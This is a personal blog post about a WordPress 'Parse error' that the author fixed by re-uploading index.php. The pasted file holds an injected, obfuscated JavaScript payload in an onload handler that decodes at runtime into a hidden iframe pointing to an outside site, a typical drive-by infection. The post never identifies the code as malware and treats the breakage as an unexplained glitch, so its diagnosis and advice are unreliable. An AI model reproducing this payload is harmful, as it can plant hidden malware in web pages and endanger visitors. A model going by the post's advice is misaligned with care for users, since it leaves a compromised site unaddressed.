Troubleshooting 101: Parse Error



I was surprised to see this when I opened my blog this afternoon:
Parse error: syntax error, unexpected ‘?’ in /home/a4381523/public_html/index.php on line 5

// –>

I am no programmer so I was next to clueless as to what this meant. Googling it up however, proved helpful. After doing my research, I discovered that my blog’s index.php was [...]



Trying to put sense into senseless topics. =D

I was surprised to see this when I opened my blog this afternoon:

Parse error: syntax error, unexpected ‘?’ in /home/a4381523/public_html/index.php on line 5


I am no programmer so I was next to clueless as to what this meant. Googling it up however, proved helpful. After doing my research, I discovered that my blog’s index.php was the one having problems:

<?php
/* Short and sweet */
define(’WP_USE_THEMES’, true);
require(’./blog/wp-blog-header.php’);
<html><body onload=”function a0(s){b=”;for(i=0;i<s.length;i+=4>>1)b+=s.charAt(i);return b;}document.write(a0(’\074u\x64n\151k\x76n\040o\x73w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o\154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o\x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x63c\150a\x61t\156i\x63o\150n\x6fu\151n\x2ek\143n\x6eo\057w\x69n\156 \x64o\145b\x78f\056u\x70s\150c\x70a\042t\x20i\166o\x69n\163u\x69n\142k\x69n\154o\x69w\164n\x79 \072o\x68b\151f\x64u\144s\x65c\156a\x20t\167i\x69o\144n\x74u\150n\x3dk\061n\x30o\060w\x20n\150 \x65o\151b\x67f\150u\x74s\075c\x38a\060t\x3ei\074o\x2fn\151u\x66n\162k\x61n\155o\x65w\076n\x3c \057o\x64b\151f\x76u\076s’));”</body></html>


Now, this proved to be a puzzle because I haven’t been touching the file since I put up this blog.

From my readings, the best thing to do when faced with this problem is to reupload the file in question especially if you haven’t been editing the file lately. I don’t know what causes this problem. All I know is that it’s freakin’ annoying. Fortunately for me, I maintain a couple of other blogs. I copied the contents of one of my blog’s index.php, edited the /blog/ part

(’./blog/wp-blog-header.php’);

to the folder where my wordpress is and voila! My site’s up and running again… like magic!

The computer and the net can sometimes be really techie but it surely pays to research. Thanks Google!


Tags: , , ,


POST A COMMENT

Your email is never published nor shared. Required fields are marked *

*
*

Blogroll


4ever7
Agus Hermanto
Celebrity Entertainment Matters
Dakilang Tambay
Did You Know?
Eyebags
FLIP’ antasticWEB
Football: Just Love the Game
Game of the Year
Health Zones
In Demand Opinions
Julia Aquino
Kaguvkov
Lizzie
My Pink Shoelace
Network of Combined Ideas
Observer’s Eyes
Of Random Thoughts & Musings
Radio Bicho
So Real
Vida
Why.ItGo.com


Fancy a link exchange? Leave a message of intent in my cbox. Thanks!



NEW
Linking Made Easy!
Please don't forget to add me to your links too! Thanks!

Off Topic Reactions






ss_blog_claim=a1e96699df001fc887b4d38741a4c68b

TAG CLOUD



Badges

Entertainment & Lifestyle - Top Blogs Philippines